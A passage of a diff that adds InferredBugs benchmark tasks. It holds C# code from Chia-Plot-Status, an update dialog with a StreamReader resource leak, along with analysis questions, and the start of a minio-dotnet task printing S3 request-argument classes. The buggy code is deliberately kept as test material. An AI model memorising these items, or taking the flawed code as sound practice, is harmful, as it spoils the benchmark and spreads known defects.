+            this.Language = language;
+            this.Current = LoadCurrentRelease();
+            this.Latest = LoadLatestRelease();
+            InitializeComponent();
+#if DEBUG
+            this.AttachDevTools();
+#endif
+            this.Find<TextBlock>("UpToDate").IsVisible = string.Equals(this.Latest.TagName, this.Current);
+            this.Find<Button>("DownloadUpdate").IsVisible = !string.Equals(this.Latest.TagName, this.Current);
+            this.Focus();
+        }
+
+        private void InitializeComponent()
+        {
+            AvaloniaXamlLoader.Load(this);
+        }
+
+
+        private Release LoadLatestRelease()
+        {
+            var client = new GitHubClient(new ProductHeaderValue("Chia-Plot-Status"));
+            Release? latest = null;
+            var task = Task.Run(async () =>
+            {
+                var result = await client.Repository.Release.GetAll("grayfallstown", "Chia-Plot-Status");
+                latest = result[0];
+            });
+            task.Wait();
+            return latest;
+        }
+
+        private string LoadCurrentRelease()
+        {
+            var deserializer = new DeserializerBuilder().Build();
+            var assets = AvaloniaLocator.Current.GetService<IAssetLoader>();
+            System.IO.Stream filestream = assets.Open(new Uri("avares://ChiaPlotStatus/GUI/Assets/version.yaml"));
+            StreamReader reader = new StreamReader(filestream);
+            string yaml = reader.ReadToEnd();
+            var versionFile = deserializer.Deserialize<VersionFile>(yaml);
+            return "" + versionFile.Version;
+        }
+
+        public void DownloadUpdate(object sender, RoutedEventArgs e)
+        {
+            OpenUrl(Latest.HtmlUrl.Replace("/tag/", "/download/") + "/Setup.exe");
+            Close();
+        }
+
+        private void OpenUrl(string url)
+        {
+            try
+            {
+                Process.Start(url);
+            }
+            catch
+            {
+                // hack because of this: https://github.com/dotnet/corefx/issues/10361
+                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+                {
+                    url = url.Replace("&", "^&");
+                    Process.Start(new ProcessStartInfo("cmd", $"/c start {url}") { CreateNoWindow = true });
+                }
+                else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux))
+                {
+                    Process.Start("xdg-open", url);
+                }
+                else if (RuntimeInformation.IsOSPlatform(OSPlatform.OSX))
+                {
+                    Process.Start("open", url);
+                }
+                else
+                {
+                    throw;
+                }
+            }
+        }
+    }
+
+    public class VersionFile
+    {
+        public string? Version { get; set; }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource reader of type System.IO.StreamReader in method "String UpdateDialog.LoadCurrentRelease()".
+
+### Severity:
+ERROR
+
+### Procedure:
+String UpdateDialog.LoadCurrentRelease()
+
+### File:
+ChiaPlotStatusGUI/GUI/Views/UpdateDialog.axaml.cs
+
+### Key:
+UpdateDialog.axaml.cs|LoadCurrentRelease|DOTNET_RESOURCE_LEAK
+
+### Hash:
+6dcdaa66bc36737313b1f8a80dc11e2b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0794/instruction.md b/inferredbugs-0794/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..39eabff08d59d6eb7023838deb33bc59a2008e23
--- /dev/null
+++ b/inferredbugs-0794/instruction.md
@@ -0,0 +1,2128 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** minio-dotnet
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+ * MinIO .NET Library for Amazon S3 Compatible Cloud Storage, (C) 2020, 2021 MinIO, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Net.Http;
+using System.Globalization;
+using System.Xml.Linq;
+using System.Xml;
+using System.Linq;
+using System.Text;
+
+using Minio.DataModel;
+using Minio.DataModel.Tags;
+using Minio.DataModel.ObjectLock;
+using Minio.Exceptions;
+using Minio.Helper;
+using System.Security.Cryptography;
+
+namespace Minio
+{
+    public class SelectObjectContentArgs : EncryptionArgs<SelectObjectContentArgs>
+    {
+        private SelectObjectOptions SelectOptions;
+
+        public SelectObjectContentArgs()
+        {
+            this.RequestMethod = HttpMethod.Post;
+            this.SelectOptions = new SelectObjectOptions();
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (string.IsNullOrEmpty(this.SelectOptions.Expression))
+            {
+                throw new InvalidOperationException("The Expression " + nameof(this.SelectOptions.Expression) + " for Select Object Content cannot be empty.");
+            }
+            if ((this.SelectOptions.InputSerialization == null) || (this.SelectOptions.OutputSerialization == null))
+            {
+                throw new InvalidOperationException("The Input/Output serialization members for SelectObjectContentArgs should be initialized " + nameof(this.SelectOptions.InputSerialization) + " " + nameof(this.SelectOptions.OutputSerialization));
+            }
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder.AddQueryParameter("select", "");
+            requestMessageBuilder.AddQueryParameter("select-type", "2");
+
+            if (this.RequestBody == null)
+            {
+                this.RequestBody = Encoding.UTF8.GetBytes(this.SelectOptions.MarshalXML());
+                requestMessageBuilder.SetBody(this.RequestBody);
+            }
+            requestMessageBuilder.AddOrUpdateHeaderParameter("Content-Md5",
+                            utils.getMD5SumStr(RequestBody));
+
+            return requestMessageBuilder;
+        }
+
+        public SelectObjectContentArgs WithExpressionType(QueryExpressionType e)
+        {
+            this.SelectOptions.ExpressionType = e;
+            return this;
+        }
+
+        public SelectObjectContentArgs WithQueryExpression(string expr)
+        {
+            this.SelectOptions.Expression = expr;
+            return this;
+        }
+
+        public SelectObjectContentArgs WithInputSerialization(SelectObjectInputSerialization serialization)
+        {
+            this.SelectOptions.InputSerialization = serialization;
+            return this;
+        }
+
+        public SelectObjectContentArgs WithOutputSerialization(SelectObjectOutputSerialization serialization)
+        {
+            this.SelectOptions.OutputSerialization = serialization;
+            return this;
+        }
+
+        public SelectObjectContentArgs WithRequestProgress(RequestProgress requestProgress)
+        {
+            this.SelectOptions.RequestProgress = requestProgress;
+            return this;
+        }
+    }
+
+    public class ListIncompleteUploadsArgs : BucketArgs<ListIncompleteUploadsArgs>
+    {
+        internal string Prefix { get; private set; }
+        internal string Delimiter { get; private set; }
+        internal bool Recursive { get; private set; }
+        public ListIncompleteUploadsArgs()
+        {
+            this.RequestMethod = HttpMethod.Get;
+            this.Recursive = true;
+        }
+        public ListIncompleteUploadsArgs WithPrefix(string prefix)
+        {
+            this.Prefix = prefix ?? string.Empty;
+            return this;
+        }
+
+        public ListIncompleteUploadsArgs WithDelimiter(string delim)
+        {
+            this.Delimiter = delim ?? string.Empty;
+            return this;
+        }
+
+        public ListIncompleteUploadsArgs WithRecursive(bool recursive)
+        {
+            this.Recursive = recursive;
+            this.Delimiter = (recursive) ? string.Empty : "/";
+            return this;
+        }
+    }
+
+    public class GetMultipartUploadsListArgs : BucketArgs<GetMultipartUploadsListArgs>
+    {
+        internal string Prefix { get; private set; }
+        internal string Delimiter { get; private set; }
+        internal string KeyMarker { get; private set; }
+        internal string UploadIdMarker { get; private set; }
+        internal uint MAX_UPLOAD_COUNT { get; private set; }
+        public GetMultipartUploadsListArgs()
+        {
+            this.RequestMethod = HttpMethod.Get;
+            this.MAX_UPLOAD_COUNT = 1000;
+        }
+        public GetMultipartUploadsListArgs WithPrefix(string prefix)
+        {
+            this.Prefix = prefix ?? string.Empty;
+            return this;
+        }
+
+        public GetMultipartUploadsListArgs WithDelimiter(string delim)
+        {
+            this.Delimiter = delim ?? string.Empty;
+            return this;
+        }
+
+        public GetMultipartUploadsListArgs WithKeyMarker(string nextKeyMarker)
+        {
+            this.KeyMarker = nextKeyMarker ?? string.Empty;
+            return this;
+        }
+
+        public GetMultipartUploadsListArgs WithUploadIdMarker(string nextUploadIdMarker)
+        {
+            this.UploadIdMarker = nextUploadIdMarker ?? string.Empty;
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder.AddQueryParameter("uploads", "");
+            requestMessageBuilder.AddQueryParameter("prefix", this.Prefix);
+            requestMessageBuilder.AddQueryParameter("delimiter", this.Delimiter);
+            requestMessageBuilder.AddQueryParameter("key-marker", this.KeyMarker);
+            requestMessageBuilder.AddQueryParameter("upload-id-marker", this.UploadIdMarker);
+            requestMessageBuilder.AddQueryParameter("max-uploads", this.MAX_UPLOAD_COUNT.ToString());
+            return requestMessageBuilder;
+        }
+    }
+
+    public class PresignedGetObjectArgs : ObjectArgs<PresignedGetObjectArgs>
+    {
+        internal int Expiry { get; set; }
+        internal DateTime? RequestDate { get; set; }
+
+        public PresignedGetObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Get;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (!utils.IsValidExpiry(this.Expiry))
+            {
+                throw new InvalidExpiryRangeException("expiry range should be between 1 and " + Constants.DefaultExpiryTime.ToString());
+            }
+        }
+
+        public PresignedGetObjectArgs WithExpiry(int expiry)
+        {
+            this.Expiry = expiry;
+            return this;
+        }
+
+        public PresignedGetObjectArgs WithRequestDate(DateTime? d)
+        {
+            this.RequestDate = d;
+            return this;
+        }
+    }
+
+    public class StatObjectArgs : ObjectConditionalQueryArgs<StatObjectArgs>
+    {
+        internal long ObjectOffset { get; private set; }
+        internal long ObjectLength { get; private set; }
+        internal bool OffsetLengthSet { get; set; }
+
+        public StatObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Head;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", $"{this.VersionId}");
+            }
+            return requestMessageBuilder;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (!string.IsNullOrEmpty(this.NotMatchETag) && !string.IsNullOrEmpty(this.MatchETag))
+            {
+                throw new InvalidOperationException("Invalid to set both Etag match conditions " + nameof(this.NotMatchETag) + " and " + nameof(this.MatchETag));
+            }
+            if (!this.ModifiedSince.Equals(default(DateTime)) &&
+                !this.UnModifiedSince.Equals(default(DateTime)))
+            {
+                throw new InvalidOperationException("Invalid to set both modified date match conditions " + nameof(this.ModifiedSince) + " and " + nameof(this.UnModifiedSince));
+            }
+            if (this.OffsetLengthSet)
+            {
+                if (this.ObjectOffset < 0 || this.ObjectLength < 0)
+                {
+                    throw new ArgumentException(nameof(this.ObjectOffset) + " and " + nameof(this.ObjectLength) + "cannot be less than 0.");
+                }
+                if (this.ObjectOffset == 0 && this.ObjectLength == 0)
+                {
+                    throw new ArgumentException("One of " + nameof(this.ObjectOffset) + " or " + nameof(this.ObjectLength) + "must be greater than 0.");
+                }
+            }
+            this.Populate();
+        }
+
+        private void Populate()
+        {
+            this.Headers = new Dictionary<string, string>();
+            if (this.SSE != null && this.SSE.GetType().Equals(EncryptionType.SSE_C))
+            {
+                this.SSE.Marshal(this.Headers);
+            }
+            if (OffsetLengthSet)
+            {
+                this.Headers["Range"] = "bytes=" + this.ObjectOffset.ToString() + "-" + (this.ObjectOffset + this.ObjectLength - 1).ToString();
+            }
+        }
+
+        public StatObjectArgs WithOffsetAndLength(long offset, long length)
+        {
+            this.OffsetLengthSet = true;
+            this.ObjectOffset = (offset < 0) ? 0 : offset;
+            this.ObjectLength = (length < 0) ? 0 : length;
+            return this;
+        }
+
+        public StatObjectArgs WithLength(long length)
+        {
+            this.OffsetLengthSet = true;
+            this.ObjectOffset = 0;
+            this.ObjectLength = (length < 0) ? 0 : length;
+            return this;
+        }
+    }
+
+
+    public class PresignedPostPolicyArgs : ObjectArgs<PresignedPostPolicyArgs>
+    {
+        internal PostPolicy Policy { get; set; }
+        internal DateTime Expiration { get; set; }
+
+        internal string Region { get; set; }
+        protected new void Validate()
+        {
+            bool checkPolicy = false;
+            try
+            {
+                utils.ValidateBucketName(this.BucketName);
+                utils.ValidateObjectName(this.ObjectName);
+            }
+            catch (Exception ex)
+            {
+                if (ex is InvalidBucketNameException || ex is InvalidObjectNameException)
+                {
+                    checkPolicy = true;
+                }
+                else
+                {
+                    throw;
+                }
+            }
+            if (checkPolicy)
+            {
+                if (!this.Policy.IsBucketSet())
+                {
+                    throw new InvalidOperationException("For the " + nameof(Policy) + " bucket should be set");
+                }
+
+                if (!this.Policy.IsKeySet())
+                {
+                    throw new InvalidOperationException("For the " + nameof(Policy) + " key should be set");
+                }
+
+                if (!this.Policy.IsExpirationSet())
+                {
+                    throw new InvalidOperationException("For the " + nameof(Policy) + " expiration should be set");
+                }
+                this.BucketName = this.Policy.Bucket;
+                this.ObjectName = this.Policy.Key;
+            }
+            if (string.IsNullOrEmpty(this.Expiration.ToString()))
+            {
+                throw new InvalidOperationException("For the " + nameof(Policy) + " expiration should be set");
+            }
+
+        }
+
+        public PresignedPostPolicyArgs WithExpiration(DateTime ex)
+        {
+            this.Expiration = ex;
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            return requestMessageBuilder;
+        }
+
+        internal PresignedPostPolicyArgs WithRegion(string region)
+        {
+            this.Region = region;
+            return this;
+        }
+
+        internal PresignedPostPolicyArgs WithSessionToken(string sessionToken)
+        {
+            this.Policy.SetSessionToken(sessionToken);
+            return this;
+        }
+
+        internal PresignedPostPolicyArgs WithDate(DateTime date)
+        {
+            this.Policy.SetDate(date);
+            return this;
+        }
+
+        internal PresignedPostPolicyArgs WithCredential(string credential)
+        {
+            this.Policy.SetCredential(credential);
+            return this;
+        }
+        internal PresignedPostPolicyArgs WithAlgorithm(string algorithm)
+        {
+            this.Policy.SetAlgorithm(algorithm);
+            return this;
+        }
+        internal PresignedPostPolicyArgs WithSignature(string signature)
+        {
+            this.Policy.SetSignature(signature);
+            return this;
+        }
+        public PresignedPostPolicyArgs WithPolicy(PostPolicy policy)
+        {
+            this.Policy = policy;
+            if (policy.expiration != DateTime.MinValue)
+                // policy.expiration has an assigned value
+                this.Expiration = policy.expiration;
+            return this;
+        }
+    }
+
+    public class PresignedPutObjectArgs : ObjectArgs<PresignedPutObjectArgs>
+    {
+        internal int Expiry { get; set; }
+
+        public PresignedPutObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+        }
+
+        protected new void Validate()
+        {
+            base.Validate();
+            if (!utils.IsValidExpiry(this.Expiry))
+            {
+                throw new InvalidExpiryRangeException("Expiry range should be between 1 seconds and " + Constants.DefaultExpiryTime.ToString() + " seconds");
+            }
+        }
+
+        public PresignedPutObjectArgs WithExpiry(int ex)
+        {
+            this.Expiry = ex;
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            return requestMessageBuilder;
+        }
+    }
+
+    public class RemoveUploadArgs : EncryptionArgs<RemoveUploadArgs>
+    {
+        internal string UploadId { get; private set; }
+        public RemoveUploadArgs()
+        {
+            this.RequestMethod = HttpMethod.Delete;
+        }
+
+        public RemoveUploadArgs WithUploadId(string id)
+        {
+            this.UploadId = id;
+            return this;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (string.IsNullOrEmpty(this.UploadId))
+            {
+                throw new InvalidOperationException(nameof(UploadId) + " cannot be empty. Please assign a valid upload ID to remove.");
+            }
+        }
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder.AddQueryParameter("uploadId", $"{this.UploadId}");
+            return requestMessageBuilder;
+        }
+    }
+
+    public class RemoveIncompleteUploadArgs : EncryptionArgs<RemoveIncompleteUploadArgs>
+    {
+        public RemoveIncompleteUploadArgs()
+        {
+            this.RequestMethod = HttpMethod.Delete;
+        }
+    }
+
+
+    public class GetObjectLegalHoldArgs : ObjectVersionArgs<GetObjectLegalHoldArgs>
+    {
+        public GetObjectLegalHoldArgs()
+        {
+            this.RequestMethod = HttpMethod.Get;
+        }
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            requestMessageBuilder.AddQueryParameter("legal-hold", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            return requestMessageBuilder;
+        }
+    }
+
+    public class SetObjectLegalHoldArgs : ObjectVersionArgs<SetObjectLegalHoldArgs>
+    {
+        internal bool LegalHoldON { get; private set; }
+
+        public SetObjectLegalHoldArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+            this.LegalHoldON = false;
+        }
+
+        public SetObjectLegalHoldArgs WithLegalHold(bool status)
+        {
+            this.LegalHoldON = status;
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder.AddQueryParameter("legal-hold", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            ObjectLegalHoldConfiguration config = new ObjectLegalHoldConfiguration(this.LegalHoldON);
+            string body = utils.MarshalXML(config, "http://s3.amazonaws.com/doc/2006-03-01/");
+            requestMessageBuilder.AddXmlBody(body);
+            requestMessageBuilder.AddOrUpdateHeaderParameter("Content-Md5",
+                            utils.getMD5SumStr(Encoding.UTF8.GetBytes(body)));
+            return requestMessageBuilder;
+        }
+    }
+
+    public class GetObjectArgs : ObjectConditionalQueryArgs<GetObjectArgs>
+    {
+        internal Action<Stream> CallBack { get; private set; }
+        internal long ObjectOffset { get; private set; }
+        internal long ObjectLength { get; private set; }
+        internal string FileName { get; private set; }
+        internal bool OffsetLengthSet { get; set; }
+
+        public GetObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Get;
+            this.OffsetLengthSet = false;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (this.CallBack == null && string.IsNullOrEmpty(this.FileName))
+            {
+                throw new MinioException("Atleast one of " + nameof(this.CallBack) + ", CallBack method or " + nameof(this.FileName) + " file path to save need to be set for GetObject operation.");
+            }
+            if (OffsetLengthSet)
+            {
+                if (this.ObjectOffset < 0)
+                {
+                    throw new ArgumentException("Offset should be zero or greater", nameof(this.ObjectOffset));
+                }
+
+                if (this.ObjectLength < 0)
+                {
+                    throw new ArgumentException("Length should be greater than or equal to zero", nameof(this.ObjectLength));
+                }
+            }
+            if (this.FileName != null)
+            {
+                utils.ValidateFile(this.FileName);
+            }
+            this.Populate();
+        }
+
+        private void Populate()
+        {
+            this.Headers = new Dictionary<string, string>();
+            if (this.SSE != null && this.SSE.GetType().Equals(EncryptionType.SSE_C))
+            {
+                this.SSE.Marshal(this.Headers);
+            }
+
+            if (this.ObjectLength > 0 && this.ObjectOffset > 0)
+            {
+                this.Headers["Range"] = "bytes=" + this.ObjectOffset.ToString() + "-" + (this.ObjectOffset + this.ObjectLength - 1).ToString();
+            }
+            else if (this.ObjectLength == 0 && this.ObjectOffset > 0)
+            {
+                this.Headers["Range"] = "bytes=" + this.ObjectOffset.ToString() + "-";
+            }
+            else if (this.ObjectLength > 0 && this.ObjectOffset == 0)
+            {
+                this.Headers["Range"] = "bytes=-" + (this.ObjectLength - 1).ToString();
+            }
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", $"{this.VersionId}");
+            }
+            requestMessageBuilder.ResponseWriter = this.CallBack;
+
+            return requestMessageBuilder;
+        }
+
+
+        public GetObjectArgs WithCallbackStream(Action<Stream> cb)
+        {
+            this.CallBack = cb;
+            return this;
+        }
+
+        public GetObjectArgs WithOffsetAndLength(long offset, long length)
+        {
+            this.OffsetLengthSet = true;
+            this.ObjectOffset = (offset < 0) ? 0 : offset;
+            this.ObjectLength = (length < 0) ? 0 : length;
+            return this;
+        }
+
+        public GetObjectArgs WithLength(long length)
+        {
+            this.OffsetLengthSet = true;
+            this.ObjectOffset = 0;
+            this.ObjectLength = (length < 0) ? 0 : length;
+            return this;
+        }
+
+        public GetObjectArgs WithFile(string file)
+        {
+            this.FileName = file;
+            return this;
+        }
+    }
+
+    public class RemoveObjectArgs : ObjectArgs<RemoveObjectArgs>
+    {
+        internal string VersionId { get; private set; }
+        internal bool? BypassGovernanceMode { get; private set; }
+
+        public RemoveObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Delete;
+            this.BypassGovernanceMode = null;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", $"{this.VersionId}");
+                if (this.BypassGovernanceMode != null && this.BypassGovernanceMode.Value)
+                {
+                    requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-bypass-governance-retention", this.BypassGovernanceMode.Value.ToString());
+                }
+            }
+            return requestMessageBuilder;
+        }
+
+        public RemoveObjectArgs WithVersionId(string ver)
+        {
+            this.VersionId = ver;
+            return this;
+        }
+
+        public RemoveObjectArgs WithBypassGovernanceMode(bool? mode)
+        {
+            this.BypassGovernanceMode = mode;
+            return this;
+        }
+    }
+
+    public class RemoveObjectsArgs : ObjectArgs<RemoveObjectsArgs>
+    {
+        internal List<string> ObjectNames { get; private set; }
+        // Each element in the list is a Tuple. Each Tuple has an Object name & the version ID.
+        internal List<Tuple<string, string>> ObjectNamesVersions { get; private set; }
+
+        public RemoveObjectsArgs()
+        {
+            this.ObjectName = null;
+            this.ObjectNames = new List<string>();
+            this.ObjectNamesVersions = new List<Tuple<string, string>>();
+            this.RequestMethod = HttpMethod.Post;
+        }
+
+        public RemoveObjectsArgs WithObjectAndVersions(string objectName, List<string> versions)
+        {
+            foreach (var vid in versions)
+            {
+                this.ObjectNamesVersions.Add(new Tuple<string, string>(objectName, vid));
+            }
+            return this;
+        }
+
+        // Tuple<string, List<string>>. Tuple object name -> List of Version IDs.
+        public RemoveObjectsArgs WithObjectsVersions(List<Tuple<string, List<string>>> objectsVersionsList)
+        {
+            foreach (var objVersions in objectsVersionsList)
+            {
+                foreach (var vid in objVersions.Item2)
+                {
+                    this.ObjectNamesVersions.Add(new Tuple<string, string>(objVersions.Item1, vid));
+                }
+            }
+            return this;
+        }
+
+        public RemoveObjectsArgs WithObjectsVersions(List<Tuple<string, string>> objectVersions)
+        {
+            this.ObjectNamesVersions.AddRange(objectVersions);
+            return this;
+        }
+
+        public RemoveObjectsArgs WithObjects(List<string> names)
+        {
+            this.ObjectNames = names;
+            return this;
+        }
+
+        internal override void Validate()
+        {
+            // Skip object name validation.
+            utils.ValidateBucketName(this.BucketName);
+            if (!string.IsNullOrEmpty(this.ObjectName))
+            {
+                throw new InvalidOperationException(nameof(ObjectName) + " is set. Please use " + nameof(WithObjects) + "or " +
+                    nameof(WithObjectsVersions) + " method to set objects to be deleted.");
+            }
+            if ((this.ObjectNames == null && this.ObjectNamesVersions == null) ||
+                (this.ObjectNames.Count == 0 && this.ObjectNamesVersions.Count == 0))
+            {
+                throw new InvalidOperationException("Please assign list of object names or object names and version IDs to remove using method(s) " +
+                    nameof(WithObjects) + " " + nameof(WithObjectsVersions));
+            }
+        }
+
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            XElement deleteObjectsRequest = null;
+            List<XElement> objects = new List<XElement>();
+            requestMessageBuilder.AddQueryParameter("delete", "");
+            if (this.ObjectNamesVersions.Count > 0)
+            {
+                // Object(s) & multiple versions
+                foreach (var objTuple in this.ObjectNamesVersions)
+                {
+                    objects.Add(new XElement("Object",
+                                        new XElement("Key", objTuple.Item1),
+                                        new XElement("VersionId", objTuple.Item2)));
+                }
+                deleteObjectsRequest = new XElement("Delete", objects,
+                                                new XElement("Quiet", true));
+                requestMessageBuilder.AddXmlBody(Convert.ToString(deleteObjectsRequest));
+            }
+            else
+            {
+                // Multiple Objects
+                foreach (var obj in this.ObjectNames)
+                {
+                    objects.Add(new XElement("Object",
+                                       new XElement("Key", obj)));
+                }
+                deleteObjectsRequest = new XElement("Delete", objects,
+                                                new XElement("Quiet", true));
+                requestMessageBuilder.AddXmlBody(Convert.ToString(deleteObjectsRequest));
+            }
+
+            requestMessageBuilder.AddOrUpdateHeaderParameter("Content-Md5",
+                            utils.getMD5SumStr(Encoding.UTF8.GetBytes(Convert.ToString(deleteObjectsRequest))));
+
+            return requestMessageBuilder;
+        }
+    }
+
+    public class SetObjectTagsArgs : ObjectVersionArgs<SetObjectTagsArgs>
+    {
+        internal Tagging ObjectTags { get; private set; }
+        public SetObjectTagsArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+        }
+
+
+        public SetObjectTagsArgs WithTagging(Tagging tags)
+        {
+            this.ObjectTags = Tagging.GetObjectTags(tags.GetTags());
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder.AddQueryParameter("tagging", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            string body = this.ObjectTags.MarshalXML();
+            requestMessageBuilder.AddXmlBody(body);
+
+            return requestMessageBuilder;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (this.ObjectTags == null || this.ObjectTags.GetTags().Count == 0)
+            {
+                throw new InvalidOperationException("Unable to set empty tags.");
+            }
+        }
+    }
+
+    public class GetObjectTagsArgs : ObjectVersionArgs<GetObjectTagsArgs>
+    {
+        public GetObjectTagsArgs()
+        {
+            this.RequestMethod = HttpMethod.Get;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            requestMessageBuilder.AddQueryParameter("tagging", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            return requestMessageBuilder;
+        }
+    }
+
+    public class RemoveObjectTagsArgs : ObjectVersionArgs<RemoveObjectTagsArgs>
+    {
+        public RemoveObjectTagsArgs()
+        {
+            this.RequestMethod = HttpMethod.Delete;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            requestMessageBuilder.AddQueryParameter("tagging", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            return requestMessageBuilder;
+        }
+    }
+
+    public class SetObjectRetentionArgs : ObjectVersionArgs<SetObjectRetentionArgs>
+    {
+        internal bool BypassGovernanceMode { get; set; }
+        internal RetentionMode Mode { get; set; }
+        internal DateTime RetentionUntilDate { get; set; }
+
+        public SetObjectRetentionArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+            this.RetentionUntilDate = default(DateTime);
+            this.Mode = RetentionMode.GOVERNANCE;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (this.RetentionUntilDate.Equals(default(DateTime)))
+            {
+                throw new InvalidOperationException("Retention Period is not set. Please set using " +
+                        nameof(WithRetentionUntilDate) + ".");
+            }
+            if (DateTime.Compare(this.RetentionUntilDate, DateTime.Now) <= 0)
+            {
+                throw new InvalidOperationException("Retention until date set using " + nameof(WithRetentionUntilDate) + " needs to be in the future.");
+            }
+        }
+        public SetObjectRetentionArgs WithBypassGovernanceMode(bool bypass = true)
+        {
+            this.BypassGovernanceMode = bypass;
+            return this;
+        }
+
+        public SetObjectRetentionArgs WithRetentionMode(RetentionMode mode)
+        {
+            this.Mode = mode;
+            return this;
+        }
+
+        public SetObjectRetentionArgs WithRetentionUntilDate(DateTime date)
+        {
+            this.RetentionUntilDate = date;
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            requestMessageBuilder.AddQueryParameter("retention", "");
+            if (!string.IsNullOrEmpty(this.VersionId))
+            {
+                requestMessageBuilder.AddQueryParameter("versionId", this.VersionId);
+            }
+            if (this.BypassGovernanceMode)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-bypass-governance-retention", "true");
+            }
+            ObjectRetentionConfiguration config = new ObjectRetentionConfiguration(this.RetentionUntilDate, this.Mode);
+            string body = utils.MarshalXML(config, "http://s3.amazonaws.com/doc/2006-03-01/");
+            requestMessageBuilder.AddXmlBody(body);
+            requestMessageBuilder.AddOrUpdateHeaderParameter("Content-Md5",
+                            utils.getMD5SumStr(Encoding.UTF8.GetBytes(body)));
+            return requestMessageBuilder;
+        }
+    }
+
+    public class GetObjectRetentionArgs : ObjectVersionArgs<GetObjectRetentionArgs>
+    {
